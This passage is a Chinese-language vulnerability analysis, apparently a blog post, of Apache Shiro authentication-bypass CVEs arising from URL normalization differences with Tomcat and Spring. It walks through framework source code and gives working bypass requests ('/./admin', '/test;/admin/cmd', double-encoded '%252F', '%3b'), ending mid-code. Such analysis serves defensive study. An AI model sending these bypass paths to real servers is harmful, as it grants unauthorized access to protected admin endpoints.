浅跟一下。
request 方法的差异性
request.getPathInfo
仅返回传递到Servlet 的路径,如果没有传递额外的路径信息,则此返回NULL
/test
request.getContextPath
返回工程名部分,如果工程映射为/ ,则返回为空
request.getServletPath
返回除去Host 和工程名部分的路径
/admin
request.getRequestURI
返回除去Host 部分的路径
/admin/test
request.getRequestURL
返回全路径
http://localhost:9090/admin/test
Tomcat 的请求转换与映射
首先 Tomcat 会先处理 HTTP
请求,检查起合法性后映射请求到
MappingData ,然后再执行引擎的反射判断路由最终调用匹配的方法。
而在映射的过程中,normalize
方法进行了很多的格式化操作,诸如替换 /./ 为空。
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 normalize:1212, CoyoteAdapter (org.apache.catalina.connector) postParseRequest:652, CoyoteAdapter (org.apache.catalina.connector) service:351, CoyoteAdapter (org.apache.catalina.connector) service:382, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1723, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:750, Thread (java.lang)
postParseRequest
首先是 CoyoteAdapter 类的
postParseRequest 方法,调用 normalize
进行标准化判断。
1 2 3 4 5 6 7 8 9 10 11 12 13 protected boolean postParseRequest (org.apache.coyote.Request req, Request request, org.apache.coyote.Response res, Response response) throws IOException, ServletException { if (normalize(req.decodedURI())) { convertURI(decodedURI, request); if (!checkNormalize(req.decodedURI())) { response.sendError(400 , "Invalid URI" ); } } else { response.sendError(400 , "Invalid URI" ); } }
normalize
normalize 方法匹配到 /. 结尾的
URI ,末尾添加 / ,然后截断,因此当
URI 为 /admin/. 时,先处理为
/admin/./ ,然后替换为空得到
/admin/ ,但此时并没有直接赋值,而是进行了
setEnd 操作,标记了结束位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 public static boolean normalize (MessageBytes uriMB) { ByteChunk uriBC = uriMB.getByteChunk(); final byte [] b = uriBC.getBytes(); final int start = uriBC.getStart(); int end = uriBC.getEnd(); if (start == end) { return false ; } int pos = 0 ; int index = 0 ; for (pos = start; pos < end; pos++) { if (b[pos] == (byte ) '\\' ) { if (ALLOW_BACKSLASH) { b[pos] = (byte ) '/' ; } else { return false ; } } if (b[pos] == (byte ) 0 ) { return false ; } } if (b[start] != (byte ) '/' ) { return false ; } for (pos = start; pos < (end - 1 ); pos++) { if (b[pos] == (byte ) '/' ) { while ((pos + 1 < end) && (b[pos + 1 ] == (byte ) '/' )) { copyBytes(b, pos, pos + 1 , end - pos - 1 ); end--; } } } if (((end - start) >= 2 ) && (b[end - 1 ] == (byte ) '.' )) { if ((b[end - 2 ] == (byte ) '/' ) || ((b[end - 2 ] == (byte ) '.' ) && (b[end - 3 ] == (byte ) '/' ))) { b[end] = (byte ) '/' ; end++; } } uriBC.setEnd(end); index = 0 ; while (true ) { index = uriBC.indexOf("/./" , 0 , 3 , index); if (index < 0 ) { break ; } copyBytes(b, start + index, start + index + 2 , end - start - index - 2 ); end = end - 2 ; uriBC.setEnd(end); } index = 0 ; while (true ) { index = uriBC.indexOf("/../" , 0 , 4 , index); if (index < 0 ) { break ; } if (index == 0 ) { return false ; } int index2 = -1 ; for (pos = start + index - 1 ; (pos >= 0 ) && (index2 < 0 ); pos --) { if (b[pos] == (byte ) '/' ) { index2 = pos; } } copyBytes(b, start + index2, start + index + 3 , end - start - index - 3 ); end = end + index2 - index - 3 ; uriBC.setEnd(end); index = index2; } return true ; }
convertURI
如果 normalize 的合法性校验通过,此时才会调用
convertURI 方法,完成 URI
的标准化操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 protected void convertURI (MessageBytes uri, Request request) throws IOException { ByteChunk bc = uri.getByteChunk(); int length = bc.getLength(); CharChunk cc = uri.getCharChunk(); cc.allocate(length, -1 ); Charset charset = connector.getURICharset(); B2CConverter conv = request.getURIConverter(); if (conv == null ) { conv = new B2CConverter (charset, true ); request.setURIConverter(conv); } else { conv.recycle(); } try { conv.convert(bc, cc, true ); uri.setChars(cc.getBuffer(), cc.getStart(), cc.getLength()); } catch (IOException ioe) { request.getResponse().sendError(HttpServletResponse.SC_BAD_REQUEST); } }
map
返回标准化的 URI 之后,Tomcat
开始使用 map 方法处理映射。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public void map (MessageBytes host, MessageBytes uri, String version, MappingData mappingData) throws IOException { if (host.isNull()) { String defaultHostName = this .defaultHostName; if (defaultHostName == null ) { return ; } host.getCharChunk().append(defaultHostName); } host.toChars(); uri.toChars(); internalMap(host.getCharChunk(), uri.getCharChunk(), version, mappingData); }
internalMapWrapper
map 调用 internalMap ,然后继续调用
internalMapWrapper ,在
internalMapWrapper 中对 mappingData
的成员变量 wrapperPath 进行了 setChars
赋值操作。
1 2 3 4 5 6 7 8 9 10 11 private final void internalMapWrapper (ContextVersion contextVersion, CharChunk path, MappingData mappingData) throws IOException { if (contextVersion.defaultWrapper != null ) { mappingData.wrapper = contextVersion.defaultWrapper.object; mappingData.requestPath.setChars(path.getBuffer(), path.getStart(), path.getLength()); mappingData.wrapperPath.setChars(path.getBuffer(), path.getStart(), path.getLength()); mappingData.matchType = MappingMatch.DEFAULT; } }
CVE-2010-3863
漏洞简介
影响版本:shiro < 1.1.0
漏洞描述:Shiro 没有处理
/./ ,Spring Controller
处理了,因为这样对 URL
解析的不同操作,匹配到不同的过滤链,导致权限绕过。
测试环境:1.0.0-incubating ,SpringBoot
2.2.6.RELEASE
漏洞分析
配置如下。
路由如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Bean ShiroFilterFactoryBean shiroFilterFactoryBean () { ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean (); bean.setSecurityManager(securityManager()); bean.setLoginUrl("/login" ); bean.setSuccessUrl("/index" ); bean.setUnauthorizedUrl("/unauthorizedurl" ); Map<String, String> map = new LinkedHashMap <>(); map.put("/doLogin" , "anon" ); map.put("/admin/**" , "authc" ); map.put("/**" , "anon" ); bean.setFilterChainDefinitionMap(map); return bean; }
HTTP 请求如下。
1 GET http://127.0.0.1:9090/./admin/whoami
/./ 绕过
Shiro 处理部分
getChain
getChain 调用
getPathWithinApplication 获取 URI 为
/./admin/whoami ,然后 for 循环匹配到
/** 而不是 /admin/** ,而后
proxy 根据 /** 获取
anno 路由。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public FilterChain getChain (ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = getFilterChainManager(); if (!filterChainManager.hasChains()) { return null ; } String requestURI = getPathWithinApplication(request); for (String pathPattern : filterChainManager.getChainNames()) { if (pathMatches(pathPattern, requestURI)) { if (log.isTraceEnabled()) { log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + requestURI + "]. " + "Utilizing corresponding filter chain..." ); } return filterChainManager.proxy(originalChain, pathPattern); } } return null ; }
getPathWithinApplication
getPathWithinApplication 中调用
getRequestUri 获取 URI 。
1 2 3 4 5 6 7 8 9 10 11 12 13 public static String getPathWithinApplication (HttpServletRequest request) { String contextPath = getContextPath(request); String requestUri = getRequestUri(request); if (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) { String path = requestUri.substring(contextPath.length()); return (StringUtils.hasText(path) ? path : "/" ); } else { return requestUri; } }
getRequestUri
getRequestUri 传入
decodeAndCleanUriString 进行一些格式化处理。
1 2 3 4 5 6 7 8 public static String getRequestUri (HttpServletRequest request) { String uri = (String) request.getAttribute(INCLUDE_REQUEST_URI_ATTRIBUTE); if (uri == null ) { uri = request.getRequestURI(); } return decodeAndCleanUriString(request, uri); }
decodeAndCleanUriString
decodeAndCleanUriString 按 ;
分割,返回。
1 2 3 4 5 private static String decodeAndCleanUriString (HttpServletRequest request, String uri) { uri = decodeRequestString(request, uri); int semicolonIndex = uri.indexOf(';' ); return (semicolonIndex != -1 ? uri.substring(0 , semicolonIndex) : uri); }
proxy
proxy 中根据 chainName 获取到
anno 路由。
1 2 3 4 5 6 7 8 public FilterChain proxy (FilterChain original, String chainName) { NamedFilterList configured = getChain(chainName); if (configured == null ) { String msg = "There is no configured chain under the name/key [" + chainName + "]." ; throw new IllegalArgumentException (msg); } return configured.proxy(original); }
Tomcat 处理部分
getHandlerInternal
getHandlerInternal 使用
getLookupPathForRequest 转
getPathWithinServletMapping 调用
getServletPath 返回的是
/admin/whoami 。
然后 getHandlerInternal 使用
lookupHandlerMethod 方法,而
lookupHandlerMethod 调用
addMatchingMappings 匹配到
/admin/{name} 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @Override protected HandlerMethod getHandlerInternal (HttpServletRequest request) throws Exception { String lookupPath = getUrlPathHelper().getLookupPathForRequest(request); request.setAttribute(LOOKUP_PATH, lookupPath); this .mappingRegistry.acquireReadLock(); try { HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request); return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null ); } finally { this .mappingRegistry.releaseReadLock(); } }
getPathWithinServletMapping
getPathWithinServletMapping 最后返回的是
getServletPath 的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public String getPathWithinServletMapping (HttpServletRequest request) { String pathWithinApp = getPathWithinApplication(request); String servletPath = getServletPath(request); String sanitizedPathWithinApp = getSanitizedPath(pathWithinApp); String path; if (servletPath.contains(sanitizedPathWithinApp)) { path = getRemainingPath(sanitizedPathWithinApp, servletPath, false ); } else { path = getRemainingPath(pathWithinApp, servletPath, false ); } if (path != null ) { return path; } else { String pathInfo = request.getPathInfo(); if (pathInfo != null ) { return pathInfo; } if (!this .urlDecode) { path = getRemainingPath(decodeInternal(request, pathWithinApp), servletPath, false ); if (path != null ) { return pathWithinApp; } } return servletPath; } }
getServletPath
跟进 getServletPath ,可见是调用了映射处理时候封装的
wrapperPath 成员变量,而 wrapperPath
在解析 HTTP 请求的时候就处理过,其中的
/./ 被替换为空,因此返回了
/admin/whoami 。
1 2 3 4 5 @Override public String getServletPath () { return mappingData.wrapperPath.toString(); }
lookupHandlerMethod
最后在 lookupHandlerMethod 的
addMatchingMappings 方法中匹配到
/admin/{name} 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 @Nullable protected HandlerMethod lookupHandlerMethod (String lookupPath, HttpServletRequest request) throws Exception { List<Match> matches = new ArrayList <>(); List<T> directPathMatches = this .mappingRegistry.getMappingsByUrl(lookupPath); if (directPathMatches != null ) { addMatchingMappings(directPathMatches, matches, request); } if (matches.isEmpty()) { addMatchingMappings(this .mappingRegistry.getMappings().keySet(), matches, request); } if (!matches.isEmpty()) { Match bestMatch = matches.get(0 ); if (matches.size() > 1 ) { Comparator<Match> comparator = new MatchComparator (getMappingComparator(request)); matches.sort(comparator); bestMatch = matches.get(0 ); if (logger.isTraceEnabled()) { logger.trace(matches.size() + " matching mappings: " + matches); } if (CorsUtils.isPreFlightRequest(request)) { return PREFLIGHT_AMBIGUOUS_MATCH; } Match secondBestMatch = matches.get(1 ); if (comparator.compare(bestMatch, secondBestMatch) == 0 ) { Method m1 = bestMatch.handlerMethod.getMethod(); Method m2 = secondBestMatch.handlerMethod.getMethod(); String uri = request.getRequestURI(); throw new IllegalStateException ( "Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}" ); } } request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod); handleMatch(bestMatch.mapping, lookupPath, request); return bestMatch.handlerMethod; } else { return handleNoMatch(this .mappingRegistry.getMappings().keySet(), lookupPath, request); } }
漏洞修复
Shiro 在 Commit
中新增了 normalize 方法用于格式化。
CVE-2016-6802
CVE-2020-1957
CVE-2020-11989
漏洞简介
影响版本:shiro < 1.5.3
漏洞描述:在 Shiro < 1.5.3 的情况下,将
Shiro 与 Spring Controller
一起使用时,由于对 URL
解析的不同操作,匹配到不同的过滤链,导致权限绕过。
测试环境:Shiro 1.5.2 ,SpringBoot
2.2.6.RELEASE
漏洞分析
为了修复 CVE-2020-1957 ,shiro 在
1.5.2 版本进行了更新,将
request.getRequestURI() 修改为
request.getContextPath() 、request.getServletPath() 、request.getPathInfo()
拼接构造 URI 。
context-path 绕过
配置如下。
1 2 3 server.port =9090 server.servlet.context-path =/test
HTTP 请求如下。
1 GET http://127.0.0.1:9090/test;/admin/cmd
Shiro 处理部分
executeChain
从 executeChain 方法开始,执行过滤链,先调用
getExecutionChain 方法获取 Shiro
配置的过滤链,然后执行 doFilter 方法进行过滤。
1 2 3 4 5 6 protected void executeChain (ServletRequest request, ServletResponse response, FilterChain origChain) throws IOException, ServletException { FilterChain chain = getExecutionChain(request, response, origChain); chain.doFilter(request, response); }
getExecutionChain
从 getFilterChainResolver 方法获取解析器,然后调用
getChain 根据 URL 获取要执行的链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected FilterChain getExecutionChain (ServletRequest request, ServletResponse response, FilterChain origChain) { FilterChain chain = origChain; FilterChainResolver resolver = getFilterChainResolver(); if (resolver == null ) { log.debug("No FilterChainResolver configured. Returning original FilterChain." ); return origChain; } FilterChain resolved = resolver.getChain(request, response, origChain); if (resolved != null ) { log.trace("Resolved a configured FilterChain for the current request." ); chain = resolved; } else { log.trace("No FilterChain configured for the current request. Using the default." ); } return chain; }
getChain
调用 getPathWithinApplication 方法拿到
requestURI 为 /test ,去匹配
shiroFilterFactoryBean 中 的
filter ,匹配不到,返回为空。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public FilterChain getChain (ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = getFilterChainManager(); if (!filterChainManager.hasChains()) { return null ; } String requestURI = getPathWithinApplication(request); if (requestURI != null && !DEFAULT_PATH_SEPARATOR.equals(requestURI) && requestURI.endsWith(DEFAULT_PATH_SEPARATOR)) { requestURI = requestURI.substring(0 , requestURI.length() - 1 ); } for (String pathPattern : filterChainManager.getChainNames()) { if (pathPattern != null && !DEFAULT_PATH_SEPARATOR.equals(pathPattern) && pathPattern.endsWith(DEFAULT_PATH_SEPARATOR)) { pathPattern = pathPattern.substring(0 , pathPattern.length() - 1 ); } if (pathMatches(pathPattern, requestURI)) { if (log.isTraceEnabled()) { log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + Encode.forHtml(requestURI) + "]. " + "Utilizing corresponding filter chain..." ); } return filterChainManager.proxy(originalChain, pathPattern); } } return null ; }
getPathWithinApplication
之所以在 getChain 中匹配不到,是因为
getPathWithinApplication 获取 URI
中部署路径之后的路径,例如 context-path 为
/test/ 的时候 /test/admin/cmd 返回
/admin/cmd , 而 /test;/admin/cmd
由于解析差异则返回了 /test 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static String getPathWithinApplication (HttpServletRequest request) { String contextPath = getContextPath(request); String requestUri = getRequestUri(request); if (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) { String path = requestUri.substring(contextPath.length()); return (StringUtils.hasText(path) ? path : "/" ); } else { return requestUri; } }
getContextPath
返回给定请求的上下文路径,即前两个 / 之间的参数
/test; 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 public String getContextPath () { int lastSlash = mappingData.contextSlashCount; if (lastSlash == 0 ) { return "" ; } String canonicalContextPath = getServletContext().getContextPath(); String uri = getRequestURI(); int pos = 0 ; if (!getContext().getAllowMultipleLeadingForwardSlashInPath()) { do { pos++; } while (pos < uri.length() && uri.charAt(pos) == '/' ); pos--; uri = uri.substring(pos); } char [] uriChars = uri.toCharArray(); while (lastSlash > 0 ) { pos = nextSlash(uriChars, pos + 1 ); if (pos == -1 ) { break ; } lastSlash--; } String candidate; if (pos == -1 ) { candidate = uri; } else { candidate = uri.substring(0 , pos); } candidate = removePathParameters(candidate); candidate = UDecoder.URLDecode(candidate, connector.getURICharset()); candidate = org.apache.tomcat.util.http.RequestUtil.normalize(candidate); boolean match = canonicalContextPath.equals(candidate); while (!match && pos != -1 ) { pos = nextSlash(uriChars, pos + 1 ); if (pos == -1 ) { candidate = uri; } else { candidate = uri.substring(0 , pos); } candidate = removePathParameters(candidate); candidate = UDecoder.URLDecode(candidate, connector.getURICharset()); candidate = org.apache.tomcat.util.http.RequestUtil.normalize(candidate); match = canonicalContextPath.equals(candidate); } if (match) { if (pos == -1 ) { return uri; } else { return uri.substring(0 , pos); } } else { throw new IllegalStateException (sm.getString( "coyoteRequest.getContextPath.ise" , canonicalContextPath, uri)); } }
getRequestUri
Shiro 中获取的 URI 还未经
servlet 解码,因此需要解码一次,对于如
JBoss/Jetty 等容器,在 URI 使用如
;jsessionid 样式进行传参,因此需要进行截断,返回
/test 。
1 2 3 4 5 6 7 8 9 10 public static String getRequestUri (HttpServletRequest request) { String uri = (String) request.getAttribute(INCLUDE_REQUEST_URI_ATTRIBUTE); if (uri == null ) { uri = valueOrEmpty(request.getContextPath()) + "/" + valueOrEmpty(request.getServletPath()) + valueOrEmpty(request.getPathInfo()); } return normalize(decodeAndCleanUriString(request, uri)); }
decodeAndCleanUriString
该方法对传入的 URI 字符串进行解码,并删除任何在分号
; 字符之后的多余部分。
1 2 3 4 5 6 private static String decodeAndCleanUriString (HttpServletRequest request, String uri) { uri = decodeRequestString(request, uri); int semicolonIndex = uri.indexOf(';' ); return (semicolonIndex != -1 ? uri.substring(0 , semicolonIndex) : uri); }
Tomcat 处理部分
doFilter
executeChain 调用 doFilter 之后进入
Tomcat 处理的部分。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 @Override public void doFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( new java .security.PrivilegedExceptionAction<Void>() { @Override public Void run () throws ServletException, IOException { internalDoFilter(req,res); return null ; } } ); } catch ( PrivilegedActionException pe) { Exception e = pe.getException(); if (e instanceof ServletException) throw (ServletException) e; else if (e instanceof IOException) throw (IOException) e; else if (e instanceof RuntimeException) throw (RuntimeException) e; else throw new ServletException (e.getMessage(), e); } } else { internalDoFilter(request,response); } }
getPathWithinServletMapping
返回请求 URL 中 servlet
之后的部分,例如 context-path 为
/test/ 的时候 /test/admin/cmd 返回
/admin/cmd , /test;/admin/cmd 返回
/admin/cmd 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public String getPathWithinServletMapping (HttpServletRequest request) { String pathWithinApp = getPathWithinApplication(request); String servletPath = getServletPath(request); String sanitizedPathWithinApp = getSanitizedPath(pathWithinApp); String path; if (servletPath.contains(sanitizedPathWithinApp)) { path = getRemainingPath(sanitizedPathWithinApp, servletPath, false ); } else { path = getRemainingPath(pathWithinApp, servletPath, false ); } if (path != null ) { return path; } else { String pathInfo = request.getPathInfo(); if (pathInfo != null ) { return pathInfo; } if (!this .urlDecode) { path = getRemainingPath(decodeInternal(request, pathWithinApp), servletPath, false ); if (path != null ) { return pathWithinApp; } } return servletPath; } }
getPathWithinApplication
其中的 getRemainingPath 将给定的
mapping 与 requestUri
的开头进行匹配,如果匹配成功,则返回额外的部分。之所以需要此方法,是因为
HttpServletRequest 返回的上下文路径和
servlet 路径不同,requestUri
保留了分号内容用于传参。
1 2 3 4 5 6 7 8 9 10 11 12 public String getPathWithinApplication (HttpServletRequest request) { String contextPath = getContextPath(request); String requestUri = getRequestUri(request); String path = getRemainingPath(requestUri, contextPath, true ); if (path != null ) { return (StringUtils.hasText(path) ? path : "/" ); } else { return requestUri; } }
getRequestUri
而 getRequestUri 返回的是
/test/admin/cmd ,主要是经过了
decodeAndCleanUriString 方法的解析。
1 2 3 4 5 6 7 8 public String getRequestUri (HttpServletRequest request) { String uri = (String) request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE); if (uri == null ) { uri = request.getRequestURI(); } return decodeAndCleanUriString(request, uri); }
decodeAndCleanUriString
而在 decodeAndCleanUriString 方法中最主要的还是
removeSemicolonContent 方法,
1 2 3 4 5 6 7 private String decodeAndCleanUriString (HttpServletRequest request, String uri) { uri = removeSemicolonContent(uri); uri = decodeRequestString(request, uri); uri = getSanitizedPath(uri); return uri; }
removeSemicolonContent
当 this.removeSemicolonContent 为
true 的时候,调用
removeSemicolonContentInternal 方法。
1 2 3 4 5 public String removeSemicolonContent (String requestUri) { return (this .removeSemicolonContent ? removeSemicolonContentInternal(requestUri) : removeJsessionid(requestUri)); }
removeSemicolonContentInternal
循环检测并删除 ; 使得
/test;/admin/cmd 变成
/test/admin/cmd 。
1 2 3 4 5 6 7 8 9 10 11 private String removeSemicolonContentInternal (String requestUri) { int semicolonIndex = requestUri.indexOf(';' ); while (semicolonIndex != -1 ) { int slashIndex = requestUri.indexOf('/' , semicolonIndex); String start = requestUri.substring(0 , semicolonIndex); requestUri = (slashIndex != -1 ) ? start + requestUri.substring(slashIndex) : start; semicolonIndex = requestUri.indexOf(';' , semicolonIndex); } return requestUri; }
getHandlerInternal
getPathWithinServletMapping 返回的
/admin/cmd 进入 lookupHandlerMethod
方法寻找相匹配的 serlvet ,因为 Shiro
的差异性解析没有匹配上,最后进入 SpringBoot 匹配到
admin 路由句柄。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Override protected HandlerMethod getHandlerInternal (HttpServletRequest request) throws Exception { String lookupPath = getUrlPathHelper().getLookupPathForRequest(request); request.setAttribute(LOOKUP_PATH, lookupPath); this .mappingRegistry.acquireReadLock(); try { HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request); return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null ); } finally { this .mappingRegistry.releaseReadLock(); } }
双层 URL 编码绕过
配置如下
1 2 # application.properties server.port=9090
HTTP 请求如下
1 GET http://127.0.0.1:9090/admin/a%252Fb
同 context-path 绕过类似的调用过程。
Shiro 处理部分
executeChain
从 executeChain 方法开始,执行过滤链,先调用
getExecutionChain 方法获取 shiro
配置的过滤链,然后执行 doFilter 方法进行过滤。
1 2 3 4 5 6 protected void executeChain (ServletRequest request, ServletResponse response, FilterChain origChain) throws IOException, ServletException { FilterChain chain = getExecutionChain(request, response, origChain); chain.doFilter(request, response); }
调用栈
一路往下一直到 getRequestUri 方法。
1 2 3 4 5 getRequestUri:143, WebUtils (org.apache.shiro.web.util) getPathWithinApplication:113, WebUtils (org.apache.shiro.web.util) getPathWithinApplication:164, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getChain:103, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getExecutionChain:415, AbstractShiroFilter (org.apache.shiro.web.servlet)
getRequestUri
此处 getServletPath 获取的值是经过一次
URL 解码的。
1 2 3 4 5 6 7 8 9 10 public static String getRequestUri (HttpServletRequest request) { String uri = (String) request.getAttribute(INCLUDE_REQUEST_URI_ATTRIBUTE); if (uri == null ) { uri = valueOrEmpty(request.getContextPath()) + "/" + valueOrEmpty(request.getServletPath()) + valueOrEmpty(request.getPathInfo()); } return normalize(decodeAndCleanUriString(request, uri)); }
decodeAndCleanUriString
而后调用的 decodeAndCleanUriString 方法中又做了一次
URL 解码,返回的值为
/admin/a/b ,无法在 shiro 中根据
Ant 规则匹配到
/admin/* ,因此同样的,getChain
方法返回空。
1 2 3 4 5 6 private static String decodeAndCleanUriString (HttpServletRequest request, String uri) { uri = decodeRequestString(request, uri); int semicolonIndex = uri.indexOf(';' ); return (semicolonIndex != -1 ? uri.substring(0 , semicolonIndex) : uri); }
Tomcat 处理部分
调用栈
一路往下一直到 SpringBoot 的
getRequestUri 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 getRequestUri:349, UrlPathHelper (org.springframework.web.util) getPathWithinApplication:265, UrlPathHelper (org.springframework.web.util) getPathWithinServletMapping:216, UrlPathHelper (org.springframework.web.util) getLookupPathForRequest:172, UrlPathHelper (org.springframework.web.util) getHandlerInternal:363, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) getHandlerInternal:110, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method) getHandlerInternal:59, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method) getHandler:395, AbstractHandlerMapping (org.springframework.web.servlet.handler) getHandler:1234, DispatcherServlet (org.springframework.web.servlet) doDispatch:1016, DispatcherServlet (org.springframework.web.servlet) doService:943, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:634, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:741, HttpServlet (javax.servlet.http) internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet)
getRequestUri
在 SpringBoot 的 getRequestUri
方法中调用的 getRequestURI 方法返回的是原始的值
/admin/a%252Fb ,并未经过 URL
解码。
1 2 3 4 5 6 7 8 public String getRequestUri (HttpServletRequest request) { String uri = (String) request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE); if (uri == null ) { uri = request.getRequestURI(); } return decodeAndCleanUriString(request, uri); }
decodeAndCleanUriString
而后调用 decodeAndCleanUriString 方法解码一次,返回
/admin/a%2fb ,匹配到 admin/*
路由,成功绕过。
1 2 3 4 5 6 7 private String decodeAndCleanUriString (HttpServletRequest request, String uri) { uri = removeSemicolonContent(uri); uri = decodeRequestString(request, uri); uri = getSanitizedPath(uri); return uri; }
漏洞修复
Shiro 在 Commit
中修改了 URL 获取的逻辑。
在 WebUtils#getPathWithinApplication 中,使用
getServletPath(request) + getPathInfo(request) 。
在 WebUtils#getRequestUri 中,修改处理逻辑与
SpringBoot 一致。
CVE-2020-13933
漏洞简介
影响版本:shiro < 1.6.0
漏洞描述:Shiro
由于处理身份验证请求时存在权限绕过漏洞,特制的HTTP 请求可以绕过身份验证过程并获得对应用程序的未授权访问。
测试环境:Shiro 1.5.3 ,SpringBoot
2.2.6.RELEASE
漏洞分析
; 绕过
配置如下。
HTTP 请求如下。
1 GET http://127.0.0.1:9090/admin/%3bcmd
Shiro 处理部分
调用栈
一路往下一直到 getPathWithinApplication 方法。
1 2 3 4 5 getPathWithinApplication:112, WebUtils (org.apache.shiro.web.util) getPathWithinApplication:164, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getChain:103, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getExecutionChain:415, AbstractShiroFilter (org.apache.shiro.web.servlet) executeChain:448, AbstractShiroFilter (org.apache.shiro.web.servlet)
getPathWithinApplication
同上一个版本类似,即使修复了,但是在
getPathWithinApplication 中调用的
getServletPath 方法获得的 URL
是依旧是经过 URL 解码的,然后才调用了
removeSemicolon 方法,移除了 ;
之后的字符串,返回了 /admin/ 。
1 2 3 4 public static String getPathWithinApplication (HttpServletRequest request) { return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request))); }
removeSemicolon
1 2 3 4 5 private static String removeSemicolon (String uri) { int semicolonIndex = uri.indexOf(59 ); return semicolonIndex != -1 ? uri.substring(0 , semicolonIndex) : uri; }
getChain
getChain 中获取到 requestURI 为
/admin/ ,然后被 Shiro
的安全机制替换掉了最后的斜杠,得到
/admin ,接着循环遍历匹配路径,由于配置为
/admin/* ,不会匹配到
/admin ,因此返回空。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public FilterChain getChain (ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = getFilterChainManager(); if (!filterChainManager.hasChains()) { return null ; } String requestURI = getPathWithinApplication(request); if (requestURI != null && !DEFAULT_PATH_SEPARATOR.equals(requestURI) && requestURI.endsWith(DEFAULT_PATH_SEPARATOR)) { requestURI = requestURI.substring(0 , requestURI.length() - 1 ); } for (String pathPattern : filterChainManager.getChainNames()) { if (pathPattern != null && !DEFAULT_PATH_SEPARATOR.equals(pathPattern) && pathPattern.endsWith(DEFAULT_PATH_SEPARATOR)) { pathPattern = pathPattern.substring(0 , pathPattern.length() - 1 ); } if (pathMatches(pathPattern, requestURI)) { if (log.isTraceEnabled()) { log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + Encode.forHtml(requestURI) + "]. " + "Utilizing 